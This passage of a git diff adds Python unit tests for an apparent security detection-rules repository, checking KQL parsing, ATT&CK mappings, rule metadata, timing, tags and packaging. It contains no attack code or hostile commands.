"a:b") + self.validate("not (not (a:b or c:d))", "a:b or c:d") + self.validate("not (not (a:(not b) or c:(not d)))", "not a:b or not c:d") + + def test_ip(self): + self.validate("a:ff02\\:\\:fb", "a:\"ff02::fb\"") + + def test_compound(self): + self.validate("a:1 and b:2 and not (c:3 or c:4)", "a:1 and b:2 and not c:(3 or 4)") diff --git a/tests/kuery/test_parser.py b/tests/kuery/test_parser.py new file mode 100644 index 000000000..444d55f1b --- /dev/null +++ b/tests/kuery/test_parser.py @@ -0,0 +1,87 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import unittest +import kql +from kql.ast import ( + Field, + FieldComparison, + FieldRange, + String, + Number, + Exists, +) + + +class ParserTests(unittest.TestCase): + + def validate(self, source, tree, *args, **kwargs): + kwargs.setdefault("optimize", False) + self.assertEqual(kql.parse(source, *args, **kwargs), tree) + + def test_keyword(self): + schema = { + "a.text": "text", + "a.keyword": "keyword", + "b": "long", + } + + self.validate('a.text:hello', FieldComparison(Field("a.text"), String("hello")), schema=schema) + self.validate('a.keyword:hello', FieldComparison(Field("a.keyword"), String("hello")), schema=schema) + + self.validate('a.text:"hello"', FieldComparison(Field("a.text"), String("hello")), schema=schema) + self.validate('a.keyword:"hello"', FieldComparison(Field("a.keyword"), String("hello")), schema=schema) + + self.validate('a.text:1', FieldComparison(Field("a.text"), String("1")), schema=schema) + self.validate('a.keyword:1', FieldComparison(Field("a.keyword"), String("1")), schema=schema) + + self.validate('a.text:"1"', FieldComparison(Field("a.text"), String("1")), schema=schema) + self.validate('a.keyword:"1"', FieldComparison(Field("a.keyword"), String("1")), schema=schema) + + def test_conversion(self): + schema = {"num": "long", "text": "text"} + + self.validate('num:1', FieldComparison(Field("num"), Number(1)), schema=schema) + self.validate('num:"1"', FieldComparison(Field("num"), Number(1)), schema=schema) + + self.validate('text:1', FieldComparison(Field("text"), String("1")), schema=schema) + self.validate('text:"1"', FieldComparison(Field("text"), String("1")), schema=schema) + + def test_list_equals(self): + self.assertEqual(kql.parse("a:(1 or 2)", optimize=False), kql.parse("a:(2 or 1)", optimize=False)) + + def test_number_exists(self): + self.assertEqual(kql.parse("foo:*", schema={"foo": "long"}), FieldComparison(Field("foo"), Exists())) + + def test_multiple_types_success(self): + schema = {"common.a": "keyword", "common.b": "keyword"} + self.validate("common.* : \"hello\"", FieldComparison(Field("common.*"), String("hello")), schema=schema) + + def test_multiple_types_fail(self): + with self.assertRaises(kql.KqlParseError): + kql.parse("common.* : \"hello\"", schema={"common.a": "keyword", "common.b": "ip"}) + + def test_number_wildcard_fail(self): + with self.assertRaises(kql.KqlParseError): + kql.parse("foo:*wc", schema={"foo": "long"}) + + with self.assertRaises(kql.KqlParseError): + kql.parse("foo:wc*", schema={"foo": "long"}) + + def test_type_family_success(self): + kql.parse("abc : 1.2345", schema={"abc": "scaled_float"}) + kql.parse("abc : hello", schema={"abc": "annotated-text"}) + kql.parse("abc >= now-30d", schema={"abc": "date_nanos"}) + + def test_type_family_fail(self): + with self.assertRaises(kql.KqlParseError): + kql.parse('foo : "hello world"', schema={"foo": "scaled_float"}) + + def test_date(self): + schema = {"@time": "date"} + self.validate('@time <= now-10d', FieldRange(Field("@time"), "<=", String("now-10d")), schema=schema) + + with self.assertRaises(kql.KqlParseError): + kql.parse("@time > 5", schema=schema) diff --git a/tests/test_all_rules.py b/tests/test_all_rules.py new file mode 100644 index 000000000..883ebf0ce --- /dev/null +++ b/tests/test_all_rules.py @@ -0,0 +1,623 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Test that all rules have valid metadata and syntax.""" +import os +import re +import warnings +from collections import defaultdict +from pathlib import Path + +import eql + +import kql +from detection_rules import attack +from detection_rules.version_lock import default_version_lock +from detection_rules.rule import QueryRuleData +from detection_rules.rule_loader import FILE_PATTERN +from detection_rules.schemas import definitions +from detection_rules.semver import Version +from detection_rules.utils import get_path, load_etc_dump +from rta import get_ttp_names +from .base import BaseRuleTest + + +class TestValidRules(BaseRuleTest): + """Test that all detection rules load properly without duplicates.""" + + def test_schema_and_dupes(self): + """Ensure that every rule matches the schema and there are no duplicates.""" + self.assertGreaterEqual(len(self.all_rules), 1, 'No rules were loaded from rules directory!') + + def test_file_names(self): + """Test that the file names meet the requirement.""" + file_pattern = FILE_PATTERN + + self.assertIsNone(re.match(file_pattern, 'NotValidRuleFile.toml'), + f'Incorrect pattern for verifying rule names: {file_pattern}') + self.assertIsNone(re.match(file_pattern, 'still_not_a_valid_file_name.not_json'), + f'Incorrect pattern for verifying rule names: {file_pattern}') + + for rule in self.all_rules: + file_name = str(rule.path.name) + self.assertIsNotNone(re.match(file_pattern, file_name), f'Invalid file name for {rule.path}') + + def test_all_rule_queries_optimized(self): + """Ensure that every rule query is in optimized form.""" + for rule in self.production_rules: + if rule.contents.data.get("language") == "kql": + source = rule.contents.data.query + tree = kql.parse(source, optimize=False) + optimized = tree.optimize(recursive=True) + err_message = f'\n{self.rule_str(rule)} Query not optimized for rule\n' \ + f'Expected: {optimized}\nActual: {source}' + self.assertEqual(tree, optimized, err_message) + + def test_production_rules_have_rta(self): + """Ensure that all production rules have RTAs.""" + mappings = load_etc_dump('rule-mapping.yml') + ttp_names = get_ttp_names() + + for rule in self.production_rules: + if isinstance(rule.contents.data, QueryRuleData) and rule.id in mappings: + matching_rta = mappings[rule.id].get('rta_name') + + self.assertIsNotNone(matching_rta, f'{self.rule_str(rule)} does not have RTAs') + + rta_name, ext = os.path.splitext(matching_rta) + if rta_name not in ttp_names: + self.fail(f'{self.rule_str(rule)} references unknown RTA: {rta_name}') + + def test_duplicate_file_names(self): + """Test that no file names are duplicated.""" + name_map = defaultdict(list) + + for rule in self.all_rules: + name_map[rule.path.name].append(rule.path.name) + + duplicates = {name: paths for name, paths in name_map.items() if len(paths) > 1} + if duplicates: + self.fail(f"Found duplicated file names {duplicates}") + + def test_rule_type_changes(self): + """Test that a rule type did not change for a locked version""" + default_version_lock.manage_versions(self.production_rules) + + +class TestThreatMappings(BaseRuleTest): + """Test threat mapping data for rules.""" + + def test_technique_deprecations(self): + """Check for use of any ATT&CK techniques that have been deprecated.""" + replacement_map = attack.techniques_redirect_map + revoked = list(attack.revoked) + deprecated = list(attack.deprecated) + + for rule in self.all_rules: + revoked_techniques = {} + threat_mapping = rule.contents.data.threat + + if threat_mapping: + for entry in threat_mapping: + for technique in (entry.technique or []): + if technique.id in revoked + deprecated: + revoked_techniques[technique.id] = replacement_map.get(technique.id, + 'DEPRECATED - DO NOT USE') + + if revoked_techniques: + old_new_mapping = "\n".join(f'Actual: {k} -> Expected {v}' for k, v in revoked_techniques.items()) + self.fail(f'{self.rule_str(rule)} Using deprecated ATT&CK techniques: \n{old_new_mapping}') + + def test_tactic_to_technique_correlations(self): + """Ensure rule threat info is properly related to a single tactic and technique.""" + for rule in self.all_rules: + threat_mapping = rule.contents.data.threat or [] + if threat_mapping: + for entry in threat_mapping: + tactic = entry.tactic + techniques = entry.technique or [] + + mismatched = [t.id for t in techniques if t.id not in attack.matrix[tactic.name]] + if mismatched: + self.fail(f'mismatched ATT&CK techniques for rule: {self.rule_str(rule)} ' + f'{", ".join(mismatched)} not under: {tactic["name"]}') + + # tactic + expected_tactic = attack.tactics_map[tactic.name] + self.assertEqual(expected_tactic, tactic.id, + f'ATT&CK tactic mapping error for rule: {self.rule_str(rule)}\n' + f'expected: {expected_tactic} for {tactic.name}\n' + f'actual: {tactic.id}') + + tactic_reference_id = tactic.reference.rstrip('/').split('/')[-1] + self.assertEqual(tactic.id, tactic_reference_id, + f'ATT&CK tactic mapping error for rule: {self.rule_str(rule)}\n' + f'tactic ID {tactic.id} does not match the reference URL ID ' + f'{tactic.reference}') + + # techniques + for technique in techniques: + expected_technique = attack.technique_lookup[technique.id]['name'] + self.assertEqual(expected_technique, technique.name, + f'ATT&CK technique mapping error for rule: {self.rule_str(rule)}\n' + f'expected: {expected_technique} for {technique.id}\n' + f'actual: {technique.name}') + + technique_reference_id = technique.reference.rstrip('/').split('/')[-1] + self.assertEqual(technique.id, technique_reference_id, + f'ATT&CK technique mapping error for rule: {self.rule_str(rule)}\n' + f'technique ID {technique.id} does not match the reference URL ID ' + f'{technique.reference}') + + # sub-techniques + sub_techniques = technique.subtechnique or [] + if sub_techniques: + for sub_technique in sub_techniques: + expected_sub_technique = attack.technique_lookup[sub_technique.id]['name'] + self.assertEqual(expected_sub_technique, sub_technique.name, + f'ATT&CK sub-technique mapping error for rule: {self.rule_str(rule)}\n' + f'expected: {expected_sub_technique} for {sub_technique.id}\n' + f'actual: {sub_technique.name}') + + sub_technique_reference_id = '.'.join( + sub_technique.reference.rstrip('/').split('/')[-2:]) + self.assertEqual(sub_technique.id, sub_technique_reference_id, + f'ATT&CK sub-technique mapping error for rule: {self.rule_str(rule)}\n' + f'sub-technique ID {sub_technique.id} does not match the reference URL ID ' # noqa: E501 + f'{sub_technique.reference}') + + def test_duplicated_tactics(self): + """Check that a tactic is only defined once.""" + for rule in self.all_rules: + threat_mapping = rule.contents.data.threat + tactics = [t.tactic.name for t in threat_mapping or []] + duplicates = sorted(set(t for t in tactics if tactics.count(t) > 1)) + + if duplicates: + self.fail(f'{self.rule_str(rule)} duplicate tactics defined for {duplicates}. ' + f'Flatten to a single entry per tactic') + + +class TestRuleTags(BaseRuleTest): + """Test tags data for rules.""" + + def test_casing_and_spacing(self): + """Ensure consistent and expected casing for controlled tags.""" + def normalize(s): + return ''.join(s.lower().split()) + + expected_tags = [ + 'APM', 'AWS', 'Asset Visibility', 'Azure', 'Configuration Audit', 'Continuous Monitoring', + 'Data Protection', 'Elastic', 'Elastic Endgame', 'Endpoint Security', 'GCP', 'Identity and Access', 'Linux', + 'Logging', 'ML', 'macOS', 'Monitoring', 'Network', 'Okta', 'Packetbeat', 'Post-Execution', 'SecOps', + 'Windows' + ] + expected_case = {normalize(t): t for t in expected_tags} + + for rule in self.all_rules: + rule_tags = rule.contents.data.tags + + if rule_tags: + invalid_tags = {t: expected_case[normalize(t)] for t in rule_tags + if normalize(t) in list(expected_case) and t != expected_case[normalize(t)]} + + if invalid_tags: + error_msg = f'{self.rule_str(rule)} Invalid casing for expected tags\n' + error_msg += f'Actual tags: {", ".join(invalid_tags)}\n' + error_msg += f'Expected tags: {", ".join(invalid_tags.values())}' + self.fail(error_msg) + + def test_required_tags(self): + """Test that expected tags are present within rules.""" + # indexes considered; only those with obvious relationships included + # 'apm-*-transaction*', 'traces-apm*', 'auditbeat-*', 'endgame-*', 'filebeat-*', 'logs-*', 'logs-aws*', + # 'logs-endpoint.alerts-*', 'logs-endpoint.events.*', 'logs-okta*', 'packetbeat-*', 'winlogbeat-*' + + required_tags_map = { + 'apm-*-transaction*': {'all': ['APM']}, + 'traces-apm*': {'all': ['APM']}, + 'auditbeat-*': {'any': ['Windows', 'macOS', 'Linux']}, + 'endgame-*': {'all': ['Elastic Endgame']}, + 'logs-aws*': {'all': ['AWS']}, + 'logs-endpoint.alerts-*': {'all': ['Endpoint Security']}, + 'logs-endpoint.events.*': {'any': ['Windows', 'macOS', 'Linux', 'Host']}, + 'logs-okta*': {'all': ['Okta']}, + 'logs-windows.*': {'all': ['Windows']}, + 'packetbeat-*': {'all': ['Network']}, + 'winlogbeat-*': {'all': ['Windows']} + } + + for rule in self.all_rules: + rule_tags = rule.contents.data.tags + error_msg = f'{self.rule_str(rule)} Missing tags:\nActual tags: {", ".join(rule_tags)}' + + consolidated_optional_tags = [] + is_missing_any_tags = False + missing_required_tags = set() + + if 'Elastic' not in rule_tags: + missing_required_tags.add('Elastic') + + if isinstance(rule.contents.data, QueryRuleData): + for index in rule.contents.data.index: + expected_tags = required_tags_map.get(index, {}) + expected_all = expected_tags.get('all', []) + expected_any = expected_tags.get('any', []) + + existing_any_tags = [t for t in rule_tags if t in expected_any] + if expected_any: + # consolidate optional any tags which are not in use + consolidated_optional_tags.extend(t for t in expected_any if t not in existing_any_tags) + + missing_required_tags.update(set(expected_all).difference(set(rule_tags))) + is_missing_any_tags = expected_any and not set(expected_any) & set(existing_any_tags) + + consolidated_optional_tags = [t for t in consolidated_optional_tags if t not in missing_required_tags] + error_msg += f'\nMissing all of: {", ".join(missing_required_tags)}' if missing_required_tags else '' + error_msg += f'\nMissing any of: {", " .join(consolidated_optional_tags)}' if is_missing_any_tags else '' + + if missing_required_tags or is_missing_any_tags: + self.fail(error_msg) + + def test_primary_tactic_as_tag(self): + from detection_rules.attack import tactics + + invalid = [] + tactics = set(tactics) + + for rule in self.all_rules: + rule_tags = rule.contents.data.tags + + if 'Continuous Monitoring' in rule_tags or rule.contents.data.type == 'machine_learning': + continue + + threat = rule.contents.data.threat + if threat: + missing = [] + threat_tactic_names = [e.tactic.name for e in threat] + primary_tactic = threat_tactic_names[0] + + if 'Threat Detection' not in rule_tags: + missing.append('Threat Detection') + + # missing primary tactic + if primary_tactic not in rule.contents.data.tags: + missing.append(primary_tactic) + + # listed tactic that is not in threat mapping + tag_tactics = set(rule_tags).intersection(tactics) + missing_from_threat = list(tag_tactics.difference(threat_tactic_names)) + + if missing or missing_from_threat: + err_msg = self.rule_str(rule) + if missing: + err_msg += f'\n expected: {missing}' + if missing_from_threat: + err_msg += f'\n unexpected (or missing from threat mapping): {missing_from_threat}' + + invalid.append(err_msg) + + if invalid: + err_msg = '\n'.join(invalid) + self.fail(f'Rules with misaligned tags and tactics:\n{err_msg}') + + +class TestRuleTimelines(BaseRuleTest): + """Test timelines in rules are valid.""" + + def test_timeline_has_title(self): + """Ensure rules with timelines have a corresponding title.""" + from detection_rules.schemas.definitions import TIMELINE_TEMPLATES + + for rule in self.all_rules: + timeline_id = rule.contents.data.timeline_id + timeline_title = rule.contents.data.timeline_title + + if (timeline_title or timeline_id) and not (timeline_title and timeline_id): + missing_err = f'{self.rule_str(rule)} timeline "title" and "id" required when timelines are defined' + self.fail(missing_err) + + if timeline_id: + unknown_id = f'{self.rule_str(rule)} Unknown timeline_id: {timeline_id}.' + unknown_id += f' replace with {", ".join(TIMELINE_TEMPLATES)} ' \ + f'or update this unit test with acceptable ids' + self.assertIn(timeline_id, list(TIMELINE_TEMPLATES), unknown_id) + + unknown_title = f'{self.rule_str(rule)} unknown timeline_title: {timeline_title}' + unknown_title += f' replace with {", ".join(TIMELINE_TEMPLATES.values())}' + unknown_title += ' or update this unit test with acceptable titles' + self.assertEqual(timeline_title, TIMELINE_TEMPLATES[timeline_id], unknown_title) + + +class TestRuleFiles(BaseRuleTest): + """Test the expected file names.""" + + def test_rule_file_name_tactic(self): + """Test to ensure rule files have the primary tactic prepended to the filename.""" + bad_name_rules = [] + + for rule in self.all_rules: + rule_path = rule.path.resolve() + filename = rule_path.name + + # machine learning jobs should be in rules/ml or rules/integrations/ + if rule.contents.data.type == definitions.MACHINE_LEARNING: + continue + + threat = rule.contents.data.threat + authors = rule.contents.data.author + + if threat and 'Elastic' in authors: + primary_tactic = threat[0].tactic.name + tactic_str = primary_tactic.lower().replace(' ', '_') + + if tactic_str != filename[:len(tactic_str)]: + bad_name_rules.append(f'{rule.id} - {Path(rule.path).name} -> expected: {tactic_str}') + + if bad_name_rules: + error_msg = 'filename does not start with the primary tactic - update the tactic or the rule filename' + rule_err_str = '\n'.join(bad_name_rules) + self.fail(f'{error_msg}:\n{rule_err_str}') + + +class TestRuleMetadata(BaseRuleTest): + """Test the metadata of rules.""" + + def test_updated_date_newer_than_creation(self): + """Test that the updated_date is newer than the creation date.""" + invalid = [] + + for rule in self.all_rules: + created = rule.contents.metadata.creation_date.split('/') + updated = rule.contents.metadata.updated_date.split('/') + if updated < created: + invalid.append(rule) + + if invalid: + rules_str = '\n '.join(self.rule_str(r, trailer=None) for r in invalid) + err_msg = f'The following rules have an updated_date older than the creation_date\n {rules_str}' + self.fail(err_msg) + + def test_deprecated_rules(self): + """Test that deprecated rules are properly handled.""" + from detection_rules.packaging import current_stack_version + + versions = default_version_lock.version_lock + deprecations = load_etc_dump('deprecated_rules.json') + deprecated_rules = {} + rules_path = get_path('rules') + deprecated_path = get_path("rules", "_deprecated") + + misplaced_rules = [r for r in self.all_rules + if r.path.relative_to(rules_path).parts[-2] == '_deprecated' and # noqa: W504 + r.contents.metadata.maturity != 'deprecated'] + misplaced = '\n'.join(f'{self.rule_str(r)} {r.contents.metadata.maturity}' for r in misplaced_rules) + err_str = f'The following rules are stored in {deprecated_path} but are not marked as deprecated:\n{misplaced}' + self.assertListEqual(misplaced_rules, [], err_str) + + for rule in self.deprecated_rules: + meta = rule.contents.metadata + + deprecated_rules[rule.id] = rule + err_msg = f'{self.rule_str(rule)} cannot be deprecated if it has not been version locked. ' \ + f'Convert to `development` or delete the rule file instead' + self.assertIn(rule.id, versions, err_msg) + + rule_path = rule.path.relative_to(rules_path) + err_msg = f'{self.rule_str(rule)} deprecated rules should be stored in ' \ + f'"{deprecated_path}" folder' + self.assertEqual('_deprecated', rule_path.parts[-2], err_msg) + + err_msg = f'{self.rule_str(rule)} missing deprecation date' + self.assertIsNotNone(meta['deprecation_date'], err_msg) + + err_msg = f'{self.rule_str(rule)} deprecation_date and updated_date should match' + self.assertEqual(meta['deprecation_date'], meta['updated_date'], err_msg) + + # skip this so the lock file can be shared across branches + # + # missing_rules = sorted(set(versions).difference(set(self.rule_lookup))) + # missing_rule_strings = '\n '.join(f'{r} - {versions[r]["rule_name"]}' for r in missing_rules) + # err_msg = f'Deprecated rules should not be removed, but moved to the rules/_deprecated folder instead. ' \ + # f'The following rules have been version locked and are missing. ' \ + # f'Re-add to the deprecated folder and update maturity to "deprecated": \n {missing_rule_strings}' + # self.assertEqual([], missing_rules, err_msg) + + stack_version = Version(current_stack_version()) + for rule_id, entry in deprecations.items(): + # if a rule is deprecated and not backported in order to keep the rule active in older branches, then it + # will exist in the deprecated_rules.json file and not be in the _deprecated folder - this is expected. + # However, that should not occur except by exception - the proper way to handle this situation is to + # "fork" the existing rule by adding a new min_stack_version. + if stack_version < Version(entry['stack_version']): + continue + + rule_str = f'{rule_id} - {entry["rule_name"]} ->' + self.assertIn(rule_id, deprecated_rules, f'{rule_str} is logged in "deprecated_rules.json" but is missing') + + def test_integration(self): + """Test that rules in integrations folders have matching integration defined.""" + failures = [] + + for rule in self.production_rules: + rules_path = get_path('rules') + *_, grandparent, parent, _ = rule.path.parts + in_integrations = grandparent == 'integrations' + integration = rule.contents.metadata.get('integration') + has_integration = integration is not None + + if (in_integrations or has_integration) and (parent != integration): + err_msg = f'{self.rule_str(rule)}\nintegration: {integration}\npath: {rule.path.relative_to(rules_path)}' # noqa: E501 + failures.append(err_msg) + + if failures: + err_msg = 'The following rules have missing/incorrect integrations or are not in an integrations folder:\n' + self.fail(err_msg + '\n'.join(failures)) + + def test_rule_demotions(self): + """Test to ensure a locked rule is not dropped to development, only deprecated""" + versions = default_version_lock.version_lock + failures = [] + + for rule in self.all_rules: + if rule.id in versions and rule.contents.metadata.maturity not in ('production', 'deprecated'): + err_msg = f'{self.rule_str(rule)} a version locked rule can only go from production to deprecated\n' + err_msg += f'Actual: {rule.contents.metadata.maturity}' + failures.append(err_msg) + + if failures: + err_msg = '\n'.join(failures) + self.fail(f'The following rules have been improperly demoted:\n{err_msg}') + + def test_all_min_stack_rules_have_comment(self): + failures = [] + + for rule in self.all_rules: + if rule.contents.metadata.min_stack_version and not rule.contents.metadata.min_stack_comments: + failures.append(f'{self.rule_str(rule)} missing `metadata.min_stack_comments`. min_stack_version: ' + f'{rule.contents.metadata.min_stack_version}') + + if failures: + err_msg = '\n'.join(failures) + self.fail(f'The following ({len(failures)}) rules have a `min_stack_version` defined but missing comments:' + f'\n{err_msg}') + + +class TestRuleTiming(BaseRuleTest): + """Test rule timing and timestamps.""" + + def test_event_override(self): + """Test that rules have defined an timestamp_override if needed.""" + missing = [] + + for rule in self.all_rules: + required = False + + if isinstance(rule.contents.data, QueryRuleData) and 'endgame-*' in rule.contents.data.index: + continue + + if rule.contents.data.type == 'query': + required = True + elif rule.contents.data.type == 'eql' and \ + eql.utils.get_query_type(rule.contents.data.ast) != 'sequence': + required = True + + if required and rule.contents.data.timestamp_override != 'event.ingested': + missing.append(rule) + + if missing: + rules_str = '\n '.join(self.rule_str(r, trailer=None) for r in missing) + err_msg = f'The following rules should have the `timestamp_override` set to `event.ingested`\n {rules_str}' + self.fail(err_msg) + + def test_required_lookback(self): + """Ensure endpoint rules have the proper lookback time.""" + long_indexes = {'logs-endpoint.events.*'} + missing = [] + + for rule in self.all_rules: + contents = rule.contents + + if isinstance(contents.data, QueryRuleData): + if set(getattr(contents.data, "index", None) or []) & long_indexes and not contents.data.from_: + missing.append(rule) + + if missing: + rules_str = '\n '.join(self.rule_str(r, trailer=None) for r in missing) + err_msg = f'The following rules should have a longer `from` defined, due to indexes used\n {rules_str}' + self.fail(err_msg) + + def test_eql_lookback(self): + """Ensure EQL rules lookback => max_span, when defined.""" + unknowns = [] + invalids = [] + ten_minutes = 10 * 60 * 1000 + + for rule in self.all_rules: + if rule.contents.data.type == 'eql' and rule.contents.data.max_span: + if rule.contents.data.look_back == 'unknown': + unknowns.append(self.rule_str(rule, trailer=None)) + else: + look_back = rule.contents.data.look_back + max_span = rule.contents.data.max_span + expected = look_back + ten_minutes + + if expected < max_span: + invalids.append(f'{self.rule_str(rule)} lookback: {look_back}, maxspan: {max_span}, ' + f'expected: >={expected}') + + if unknowns: + warn_str = '\n'.join(unknowns) + warnings.warn(f'Unable to determine lookbacks for the following rules:\n{warn_str}') + + if invalids: + invalids_str = '\n'.join(invalids) + self.fail(f'The following rules have longer max_spans than lookbacks:\n{invalids_str}') + + def test_eql_interval_to_maxspan(self): + """Check the ratio of interval to maxspan for eql rules.""" + invalids = [] + five_minutes = 5 * 60 * 1000 + + for rule in self.all_rules: + if rule.contents.data.type == 'eql': + interval = rule.contents.data.interval or five_minutes + maxspan = rule.contents.data.max_span + ratio = rule.contents.data.interval_ratio + + # we want to test for at least a ratio of: interval >= 1/2 maxspan + # but we only want to make an exception and cap the ratio at 5m interval (2.5m maxspan) + if maxspan and maxspan > (five_minutes / 2) and ratio and ratio < .5: + expected = maxspan // 2 + err_msg = f'{self.rule_str(rule)} interval: {interval}, maxspan: {maxspan}, expected: >={expected}' + invalids.append(err_msg) + + if invalids: + invalids_str = '\n'.join(invalids) + self.fail(f'The following rules have intervals too short for their given max_spans (ms):\n{invalids_str}') + + +class TestLicense(BaseRuleTest): + """Test rule license.""" + + def test_elastic_license_only_v2(self): + """Test to ensure that production rules with the elastic license are only v2.""" + for rule in self.production_rules: + rule_license = rule.contents.data.license + if 'elastic license' in rule_license.lower(): + err_msg = f'{self.rule_str(rule)} If Elastic License is used, only v2 should be used' + self.assertEqual(rule_license, 'Elastic License v2', err_msg) + + +class TestIntegrationRules(BaseRuleTest): + """Test the note field of a rule.""" + + def test_integration_guide(self): + """Test that rules which require a config note are using standard verbiage.""" + config = '## Config\n\n' + beats_integration_pattern = config + 'The {} Fleet integration, Filebeat module, or similarly ' \ + 'structured data is required to be compatible with this rule.' + render = beats_integration_pattern.format + integration_notes = { + 'aws': render('AWS'), + 'azure': render('Azure'), + 'cyberarkpas': render('CyberArk Privileged Access Security (PAS)'), + 'gcp': render('GCP'), + 'google_workspace': render('Google Workspace'), + 'o365': render('Office 365 Logs'), + 'okta': render('Okta'), + } + + for rule in self.all_rules: + integration = rule.contents.metadata.integration + note_str = integration_notes.get(integration) + + if note_str: + self.assert_(rule.contents.data.note, f'{self.rule_str(rule)} note required for config information') + + if note_str not in rule.contents.data.note: + self.fail(f'{self.rule_str(rule)} expected {integration} config missing\n\n' + f'Expected: {note_str}\n\n' + f'Actual: {rule.contents.data.note}') diff --git a/tests/test_mappings.py b/tests/test_mappings.py new file mode 100644 index 000000000..5e441c539 --- /dev/null +++ b/tests/test_mappings.py @@ -0,0 +1,68 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Test that all rules appropriately match against expected data sets.""" +import copy +import warnings + +from . import get_data_files, get_fp_data_files +from detection_rules.utils import combine_sources, evaluate, load_etc_dump +from .base import BaseRuleTest + + +class TestMappings(BaseRuleTest): + """Test that all rules appropriately match against expected data sets.""" + + FP_FILES = get_fp_data_files() + + def evaluate(self, documents, rule, expected, msg): + """KQL engine to evaluate.""" + filtered = evaluate(rule, documents) + self.assertEqual(expected, len(filtered), msg) + return filtered + + def test_true_positives(self): + """Test that expected results return against true positives.""" + mismatched_ecs = [] + mappings = load_etc_dump('rule-mapping.yml') + + for rule in self.production_rules: + if rule.contents.data.type == "query" and rule.contents.data.language == "kuery": + if rule.id not in mappings: + continue + + mapping = mappings[rule.id] + expected = mapping['count'] + sources = mapping.get('sources') + rta_file = mapping['rta_name'] + + # ensure sources is defined and not empty; schema allows it to not be set since 'pending' bypasses + self.assertTrue(sources, 'No sources defined for: {} - {} '.format(rule.id, rule.name)) + msg = 'Expected TP results did not match for: {} - {}'.format(rule.id, rule.name) + + data_files = [get_data_files('true_positives', rta_file).get(s) for s in sources] + data_file = combine_sources(*data_files) + results = self.evaluate(data_file, rule, expected, msg) + + ecs_versions = set([r.get('ecs', {}).get('version') for r in results]) + rule_ecs = set(rule.metadata.get('ecs_version').copy()) + + if not ecs_versions & rule_ecs: + msg = '{} - {} ecs_versions ({}) not in source data versions ({})'.format( + rule.id, rule.name, ', '.join(rule_ecs), ', '.join(ecs_versions)) + mismatched_ecs.append(msg) + + if mismatched_ecs: + msg = 'Rules detected with source data from ecs versions not listed within the rule: \n{}'.format( + '\n'.join(mismatched_ecs)) + warnings.warn(msg) + + def test_false_positives(self): + """Test that expected results return against false positives.""" + for rule in self.production_rules: + if rule.contents.data.type == "query" and rule.contents.data.language == "kuery": + for fp_name, merged_data in get_fp_data_files().items(): + msg = 'Unexpected FP match for: {} - {}, against: {}'.format(rule.id, rule.name, fp_name) + self.evaluate(copy.deepcopy(merged_data), rule, 0, msg) diff --git a/tests/test_packages.py b/tests/test_packages.py new file mode 100644 index 000000000..05bba2c56 --- /dev/null +++ b/tests/test_packages.py @@ -0,0 +1,109 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Test that the packages are built correctly.""" +import unittest +import uuid + +from detection_rules import rule_loader +from detection_rules.packaging import PACKAGE_FILE, Package +from detection_rules.rule_loader import RuleCollection +from tests.base import BaseRuleTest + +package_configs = Package.load_configs() + + +class TestPackages(BaseRuleTest): + """Test package building and saving.""" + + @staticmethod + def get_test_rule(version=1, count=1): + def get_rule_contents(): + contents = { + "author": ["Elastic"], + "description": "test description", + "language": "kuery", + "license": "Elastic License v2", + "name": "test rule", + "query": "process.name:test.query", + "risk_score": 21, + "rule_id": str(uuid.uuid4()), + "severity": "low", + "type": "query" + } + return contents + + rules = [rule_loader.TOMLRule('test.toml', get_rule_contents()) for i in range(count)] + version_info = { + rule.id: { + 'rule_name': rule.name, + 'sha256': rule.contents.sha256(), + 'version': version + } for rule in rules + } + + return rules, version_info + + def test_package_loader_production_config(self): + """Test that packages are loading correctly.""" + + def test_package_loader_default_configs(self): + """Test configs in etc/packages.yml.""" + Package.from_config(package_configs) + + def test_package_summary(self): + """Test the generation of the package summary.""" + rules = self.production_rules + package = Package(rules, 'test-package') + package.generate_summary_and_changelog(package.changed_ids, package.new_ids, package.removed_ids) + + def test_rule_versioning(self): + """Test that all rules are properly versioned and tracked""" + self.maxDiff = None + rules = RuleCollection.default() + original_hashes = [] + post_bump_hashes = [] + + # test that no rules have versions defined + for rule in rules: + self.assertGreaterEqual(rule.contents.autobumped_version, 1, '{} - {}: version is not being set in package') + original_hashes.append(rule.contents.sha256()) + + package = Package(rules, 'test-package') + + # test that all rules have versions defined + # package.bump_versions(save_changes=False) + for rule in package.rules: + self.assertGreaterEqual(rule.contents.autobumped_version, 1, '{} - {}: version is not being set in package') + + # test that rules validate with version + for rule in package.rules: + post_bump_hashes.append(rule.contents.sha256()) + + # test that no hashes changed as a result of the version bumps + self.assertListEqual(original_hashes, post_bump_hashes, 'Version bumping modified the hash of a rule') + + +class TestRegistryPackage(unittest.TestCase): + """Test the OOB registry package.""" + + @classmethod + def setUpClass(cls) -> None: + from detection_rules.schemas.registry_package import RegistryPackageManifest + + assert 'registry_data' in package_configs, f'Missing registry_data in {PACKAGE_FILE}' + cls.registry_config = package_configs['registry_data'] + RegistryPackageManifest.from_dict(cls.registry_config) + + def test_registry_package_config(self): + """Test that the registry package is validating properly.""" + from marshmallow import ValidationError + from detection_rules.schemas.registry_package import RegistryPackageManifest + + registry_config = self.registry_config.copy() + registry_config['version'] += '7.1.1.' + + with self.assertRaises(ValidationError): + RegistryPackageManifest.from_dict(registry_config) diff --git a/tests/test_schemas.py b/tests/test_schemas.py new file mode 100644 index 000000000..dce9042da --- /dev/null +++ b/tests/test_schemas.py @@ -0,0 +1,247 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Test stack versioned schemas.""" +import copy +import unittest +import uuid + +import eql + +from detection_rules import utils +from detection_rules.packaging import load_current_package_version +from detection_rules.rule import TOMLRuleContents +from detection_rules.schemas import downgrade +from detection_rules.semver import Version + + +class 